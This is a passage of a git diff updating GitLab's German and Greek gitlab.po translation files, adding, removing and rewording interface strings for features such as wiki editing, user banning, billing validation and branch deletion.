-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr "Webhooks ermöglichen es dir eine URL aufzurufen, wenn z. B. neuer Code gepusht oder ein neues Ticket erstellt wird. Du kannst Webhooks so konfigurieren, dass sie auf bestimmte Ereignisse wie Pushes, Tickets oder Merge-Requests reagieren. Gruppen-Webhooks werden auf alle Projekte in einer Gruppe angewendet, so dass du die Webhook-Funktionalität in der gesamten Gruppe standardisieren kannst."
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "Wiki"
@@ -36278,6 +36981,12 @@ msgstr "Seite %{pageTitle} löschen?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "Schreibe deinen Inhalt oder ziehe hier Dateien hinein…"
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr "Du kannst nicht auf eine schreibgeschützte sekundäre Gitlab Geo-Instan
msgid "You cannot write to this read-only GitLab instance."
msgstr "Du kannst nicht auf dieser schreibgeschützte GitLab-Instanz schreiben."
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Deine SSH-Schlüssel (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr "Deine Anwendungen (%{size})"
msgid "Your authorized applications"
msgstr "Deine autorisierten Anwendungen"
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr "unter anderem"
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr "https://dein-bitbucket-server"
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr "Bildunterschied"
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] "Merge-Request"
msgstr[1] "Merge-Requests"
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr "Erlaube Commits von Mitgliedern die zum Zielbranch mergen können"
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,12 +38991,9 @@ msgstr "Genehmigt von"
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgid "mrWidget|Cancel"
msgstr ""
-msgid "mrWidget|Cancel automatic merge"
-msgstr "Automatischen Merge abbrechen"
-
msgid "mrWidget|Check out branch"
msgstr "Branch auschecken"
@@ -38267,9 +39033,6 @@ msgstr "Fehler beim Laden der Bereitstellungsstatistiken"
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr "Schnelles Mergen ist nicht möglich. Um diesen Merge_request zu mergen, rebase zuerst lokal."
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Wenn der Branch %{missingBranchName} in deinem lokalen Repository vorhanden ist, kannst du diesen Merge-Request manuell über die Befehlszeile zusammenführen"
@@ -38285,12 +39048,18 @@ msgstr "Lade Bereitstellungsstatistiken"
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "Erwähnungen"
msgid "mrWidget|Merge"
msgstr "Merge"
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Merge fehlgeschlagen."
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr "Fehler während der Merge-Request-Erstellung"
@@ -38817,6 +39592,9 @@ msgstr "die folgenden Ticket(s)"
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr "dieses Dokument"
diff --git a/locale/el_GR/gitlab.po b/locale/el_GR/gitlab.po
index 77a3b29a783..279285abec6 100644
--- a/locale/el_GR/gitlab.po
+++ b/locale/el_GR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: el\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:20\n"
+"PO-Revision-Date: 2021-06-01 20:38\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
